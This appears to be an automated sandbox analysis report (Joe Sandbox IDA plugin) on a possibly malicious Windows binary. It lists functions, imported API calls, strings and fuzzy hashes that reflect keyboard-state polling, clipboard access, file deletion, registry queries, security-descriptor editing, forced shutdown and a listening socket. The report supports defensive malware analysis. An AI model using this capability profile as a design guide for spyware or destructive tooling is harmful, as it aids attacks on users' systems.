String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: b9adfaf42d42df7a4f748424d0a265369fd532d98eca76b93c75d53f566e521a
Instruction ID: 3c0d70429d887e6409874981bff40cbabe6a44eeae299c12ea6675a72f3ba714
Opcode Fuzzy Hash: b9adfaf42d42df7a4f748424d0a265369fd532d98eca76b93c75d53f566e521a
Instruction Fuzzy Hash: E6026B756046019FCB19EF68C851EAAB7E5FF89714F04846CF8999B362DB70EC81CB81

Function 000FF0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 000FF113
_wcscmp.LIBCMT ref: 000FF128
_wcscmp.LIBCMT ref: 000FF13F

Part of subcall function 000F4385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 000F43A0

FindNextFileW.KERNEL32(00000000,?), ref: 000FF16E
FindClose.KERNEL32(00000000), ref: 000FF179
FindFirstFileW.KERNEL32(*.*,?), ref: 000FF195
_wcscmp.LIBCMT ref: 000FF1BC
_wcscmp.LIBCMT ref: 000FF1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 000FF1E5
SetCurrentDirectoryW.KERNEL32(00148920), ref: 000FF203
FindNextFileW.KERNEL32(00000000,00000010), ref: 000FF20D
FindClose.KERNEL32(00000000), ref: 000FF21A
FindClose.KERNEL32(00000000), ref: 000FF22C

Strings

*.*, xrefs: 000FF190

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: dde52c2936955a374f565ee55f8fb9a803b6e74435f31a0b7a520f049426807d
Instruction ID: f580c03725e79857ee66ce27255a77f77098e732e355130542b8f8346f9de9dd
Opcode Fuzzy Hash: dde52c2936955a374f565ee55f8fb9a803b6e74435f31a0b7a520f049426807d
Instruction Fuzzy Hash: C331263650061E7ADB64EFA0EC48EFE77ACAF45320F204175FA00E25A1DB30DE85DA54

Function 000FA1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 000FA20F
__swprintf.LIBCMT ref: 000FA231
CreateDirectoryW.KERNEL32(?,00000000), ref: 000FA26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 000FA293
_memset.LIBCMT ref: 000FA2B2
_wcsncpy.LIBCMT ref: 000FA2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 000FA323
CloseHandle.KERNEL32(00000000), ref: 000FA32E
RemoveDirectoryW.KERNEL32(?), ref: 000FA337
CloseHandle.KERNEL32(00000000), ref: 000FA341

Strings

\, xrefs: 000FA247
:, xrefs: 000FA252
\??\%s, xrefs: 000FA22B

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 824912851a0dddf34ce312e58720459ce12eb3505fdd48d7d854280dffa9d45a
Instruction ID: ab1239c9cd6daa0a32c6dc9446384611943e4df86ea556a5c36355620b2cd564
Opcode Fuzzy Hash: 824912851a0dddf34ce312e58720459ce12eb3505fdd48d7d854280dffa9d45a
Instruction Fuzzy Hash: 33319FB1600109ABDB20DFA0DC49FEB37BCEF89700F1041BAFA08D2561EB7097858B25

Function 000A66E1 Relevance: 22.1, Strings: 17, Instructions: 889COMMON

Download Yara Rule

Strings

ANY), xrefs: 000E12DE
LIMIT_MATCH=, xrefs: 000E1170
3c, xrefs: 000A68FF
_g", xrefs: 000A67AB
NO_AUTO_POSSESS), xrefs: 000E112E
UCP), xrefs: 000E110D
_, xrefs: 000E1465, 000E150C, 000E15B4
CRLF), xrefs: 000E12C1
UTF), xrefs: 000E10FA
ANYCRLF), xrefs: 000E12FB
NO_START_OPT), xrefs: 000E114F
BSR_ANYCRLF), xrefs: 000E131E
UTF16), xrefs: 000E10CF
CR), xrefs: 000E1287
LF), xrefs: 000E12A4
LIMIT_RECURSION=, xrefs: 000E11FC
BSR_UNICODE), xrefs: 000E1338

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID: 3c$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$_g"$_
API String ID: 0-2004041130
Opcode ID: 3a4a00b98fc11b71e28eb2e92db8c0a731d90638cf134415760f0eb77d48ad02
Instruction ID: dc41f28a6e57f11f36810b717a9583b0010beb1f0d256bef38f41a10c3bf99c8
Opcode Fuzzy Hash: 3a4a00b98fc11b71e28eb2e92db8c0a731d90638cf134415760f0eb77d48ad02
Instruction Fuzzy Hash: 75725EB5E00259DFDB24CF99C8807EEB7F5BF49710F14816AE805EB291DB319A81CB90

Function 000E7CAF Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000E8202: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 000E821E
Part of subcall function 000E8202: GetLastError.KERNEL32(?,000E7CE2,?,?,?), ref: 000E8228
Part of subcall function 000E8202: GetProcessHeap.KERNEL32(00000008,?,?,000E7CE2,?,?,?), ref: 000E8237
Part of subcall function 000E8202: HeapAlloc.KERNEL32(00000000,?,000E7CE2,?,?,?), ref: 000E823E
Part of subcall function 000E8202: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 000E8255

Part of subcall function 000E829F: GetProcessHeap.KERNEL32(00000008,000E7CF8,00000000,00000000,?,000E7CF8,?), ref: 000E82AB
Part of subcall function 000E829F: HeapAlloc.KERNEL32(00000000,?,000E7CF8,?), ref: 000E82B2
Part of subcall function 000E829F: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,000E7CF8,?), ref: 000E82C3

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 000E7D13
_memset.LIBCMT ref: 000E7D28
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 000E7D47
GetLengthSid.ADVAPI32(?), ref: 000E7D58
GetAce.ADVAPI32(?,00000000,?), ref: 000E7D95
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 000E7DB1
GetLengthSid.ADVAPI32(?), ref: 000E7DCE
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 000E7DDD
HeapAlloc.KERNEL32(00000000), ref: 000E7DE4
GetLengthSid.ADVAPI32(?,00000008,?), ref: 000E7E05
CopySid.ADVAPI32(00000000), ref: 000E7E0C
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 000E7E3D
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 000E7E63
SetUserObjectSecurity.USER32(?,00000004,?), ref: 000E7E77

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: c5bfc105b3ab024785ad8bd008d3b32a57306f920962b70bf32c4a1e32c81721
Instruction ID: fae7f77c98ccf1b219b02d534de602e891bf52da824b187a24e70580c62d0dde
Opcode Fuzzy Hash: c5bfc105b3ab024785ad8bd008d3b32a57306f920962b70bf32c4a1e32c81721
Instruction Fuzzy Hash: CC615E71904549AFDF04DF95DC44AEEBBBAFF08300F048269F919A6291DB319E05CB60

Function 000F001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 000F0097
SetKeyboardState.USER32(?), ref: 000F0102
GetAsyncKeyState.USER32(000000A0), ref: 000F0122
GetKeyState.USER32(000000A0), ref: 000F0139
GetAsyncKeyState.USER32(000000A1), ref: 000F0168
GetKeyState.USER32(000000A1), ref: 000F0179
GetAsyncKeyState.USER32(00000011), ref: 000F01A5
GetKeyState.USER32(00000011), ref: 000F01B3
GetAsyncKeyState.USER32(00000012), ref: 000F01DC
GetKeyState.USER32(00000012), ref: 000F01EA
GetAsyncKeyState.USER32(0000005B), ref: 000F0213
GetKeyState.USER32(0000005B), ref: 000F0221

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 042d088fde903c7102b367958694b4439f95ea9e96eaceed1bc457b839614a7c
Instruction ID: ca23ec5cf8abcb57688c7828ded0e56e17154c296b33431d6e1ba68897dca789
Opcode Fuzzy Hash: 042d088fde903c7102b367958694b4439f95ea9e96eaceed1bc457b839614a7c
Instruction Fuzzy Hash: 1A51F830A0478C29FB75DBA089547FABFF59F01380F08459ED6C2569C3DAA49B8CE761

Function 001103DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00110E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0010FDAD,?,?), ref: 00110E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001104AC

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0011054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 001105E3
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00110822
RegCloseKey.ADVAPI32(00000000), ref: 0011082F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 8d314a35dfb2983ec9bfde095fd753e036f310870253d3bda20011ac30ecbe43
Instruction ID: d83f7148c2e46096484905194474e18b2ca9d290feeb48e8cca28456179ae191
Opcode Fuzzy Hash: 8d314a35dfb2983ec9bfde095fd753e036f310870253d3bda20011ac30ecbe43
Instruction Fuzzy Hash: 6BE14E31604204AFCB19DF28C895DABBBE5EF89714F04856DF449DB262DB70ED81CB91

Function 00104164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0010418B
EmptyClipboard.USER32 ref: 00104191
GlobalAlloc.KERNEL32(00000002,?), ref: 001041A6
CloseClipboard.USER32 ref: 00104245

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: a61de98e0d03d0da49623dcc61ac2b7cd580f764c6182142f45dfa0b9f7203e0
Instruction ID: 7f29889783dccb4c580fdf5914d82d2d266600c475fb7f033c1b7bc6902249c8
Opcode Fuzzy Hash: a61de98e0d03d0da49623dcc61ac2b7cd580f764c6182142f45dfa0b9f7203e0
Instruction Fuzzy Hash: 4521B1757006109FDB04AF24ED49BAE7BA8EF45711F00802DF9859B2A2DBB0AC81CB54

Function 000F37EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00094750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00094743,?,?,000937AE,?), ref: 00094770

Part of subcall function 000F4A31: GetFileAttributesW.KERNEL32(?,000F370B), ref: 000F4A32

FindFirstFileW.KERNEL32(?,?), ref: 000F38A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 000F394B
MoveFileW.KERNEL32(?,?), ref: 000F395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 000F397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 000F399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 000F39B9

Strings

\*.*, xrefs: 000F384E, 000F3857, 000F386C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 7edfab7720cefa84fc3c4e94d56d267132f6cab6622592b26e178478d2e1ad80
Instruction ID: 0445b48ec29597922606e2ae40df1381b024950fa09daaabfca4ce26385db154
Opcode Fuzzy Hash: 7edfab7720cefa84fc3c4e94d56d267132f6cab6622592b26e178478d2e1ad80
Instruction Fuzzy Hash: DF51A13180514DAACF05EBA0DE92DFDB7B9AF10310F604069E90677192EF716F09EB61

Function 000FF3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 000FF440
Sleep.KERNEL32(0000000A), ref: 000FF470
_wcscmp.LIBCMT ref: 000FF484
_wcscmp.LIBCMT ref: 000FF49F
FindNextFileW.KERNEL32(?,?), ref: 000FF53D
FindClose.KERNEL32(00000000), ref: 000FF553

Strings

*.*, xrefs: 000FF425

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 4254ecc82f4eab5aab272f382e58d9c1da0692f12a3fc5b8feb390574879ec32
Instruction ID: 1d67d8662e605a5f2faff5180bf4890d7699de7bf059f11725c01dff636b6755
Opcode Fuzzy Hash: 4254ecc82f4eab5aab272f382e58d9c1da0692f12a3fc5b8feb390574879ec32
Instruction Fuzzy Hash: C6417D7190021EAFCF54DF64DC45AFEBBB4FF05310F14446AE919A3291EB309A85DB50

Function 000A3030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

_, xrefs: 000A3322
3c, xrefs: 000A3225

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __itow__swprintf
String ID: 3c$_
API String ID: 674341424-1752800395
Opcode ID: 0ab6df4bb3c1be2274ac603c884bd4fdac4ecbf8d2dbf9f5ef268c123b57db2a
Instruction ID: e8aac707ade2468132d018825e80e286aeddb93d47cf3a2eed633a4c7f7bdd5e
Opcode Fuzzy Hash: 0ab6df4bb3c1be2274ac603c884bd4fdac4ecbf8d2dbf9f5ef268c123b57db2a
Instruction Fuzzy Hash: 2A228D716083009FCB24DF54C891BAFB7E5AF89710F14492DF89A97392DB71EA04CB92

Function 000A5760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000A58A5
_memmove.LIBCMT ref: 000A58F5
_memmove.LIBCMT ref: 000A595B

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 05f8e7b37c581c228e580e1bc8bd7ce95b108760c1069de6875529096e38a21e
Instruction ID: 73f56ae14d861c8ff09066fa08594429bf7088ee6cf613f026aac38788cf03b4
Opcode Fuzzy Hash: 05f8e7b37c581c228e580e1bc8bd7ce95b108760c1069de6875529096e38a21e
Instruction Fuzzy Hash: 6E129970A00A09DFDF14DFA5D985AEEB7F5FF48300F108529E846AB291EB36A951CB50

Function 000F3B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00094750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00094743,?,?,000937AE,?), ref: 00094770

Part of subcall function 000F4A31: GetFileAttributesW.KERNEL32(?,000F370B), ref: 000F4A32

FindFirstFileW.KERNEL32(?,?), ref: 000F3B89
DeleteFileW.KERNEL32(?,?,?,?), ref: 000F3BD9
FindNextFileW.KERNEL32(00000000,00000010), ref: 000F3BEA
FindClose.KERNEL32(00000000), ref: 000F3C01
FindClose.KERNEL32(00000000), ref: 000F3C0A

Strings

\*.*, xrefs: 000F3B5B

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 333d17957e85ea8904cb032c2fb6b5ef6b9bb2cec1ca9d7ab15e2e033f79f469
Instruction ID: b1805a945fb8f0be3a2bfd9ad59e93ffbe0efa4a4a59d2b4e463267b14a9b8c7
Opcode Fuzzy Hash: 333d17957e85ea8904cb032c2fb6b5ef6b9bb2cec1ca9d7ab15e2e033f79f469
Instruction Fuzzy Hash: CC318D310183899BC605EF64C8919FFB7E8AF91314F404D2DF5D592192EB21DA09E7A3

Function 000F51BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 000E87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 000E882B
Part of subcall function 000E87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 000E8858
Part of subcall function 000E87E1: GetLastError.KERNEL32 ref: 000E8865

ExitWindowsEx.USER32(?,00000000), ref: 000F51F9

Strings

SeShutdownPrivilege, xrefs: 000F51C9
@, xrefs: 000F51EC
, xrefs: 000F51E7

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 92b168bc72876f386e663000989ff5b3a2946cddadef0309fc2a2903aa6d7430
Instruction ID: c8ebe4e5ba3e596b32f187974a8f667778df68763f67846fb4099be56cf4e0cc
Opcode Fuzzy Hash: 92b168bc72876f386e663000989ff5b3a2946cddadef0309fc2a2903aa6d7430
Instruction Fuzzy Hash: 0901F731691A196BF7FC62689C9AFFA7298EB07742F204624FB07E28D2DA515C01A590

Function 00106283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006), ref: 001062DC
WSAGetLastError.WSOCK32(00000000), ref: 001062EB
bind.WSOCK32(00000000,?,00000010), ref: 00106307
listen.WSOCK32(00000000,00000005), ref: 00106316
WSAGetLastError.WSOCK32(00000000), ref: 00106330
closesocket.WSOCK32(00000000), ref: 00106344

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: def0c78ab1869d25bf6981ea06a3431788bf1aa8ebb506cdd6196de92bfffb67
Instruction ID: 42bab531d21b17349477ec3d8740b121083a104d4333c10627369e0ec1f64d81
Opcode Fuzzy Hash: def0c78ab1869d25bf6981ea06a3431788bf1aa8ebb506cdd6196de92bfffb67
Instruction Fuzzy Hash: 0821D2356002009FCB04EF68C945BAEB7B9EF45720F14815DF85AAB3D2CB70AC41DB51

Function 000A5520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 000B0DB6: std::exception::exception.LIBCMT ref: 000B0DEC
Part of subcall function 000B0DB6: __CxxThrowException@8.LIBCMT ref: 000B0E01

_memmove.LIBCMT ref: 000E0258
_memmove.LIBCMT ref: 000E036D
_memmove.LIBCMT ref: 000E0414

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

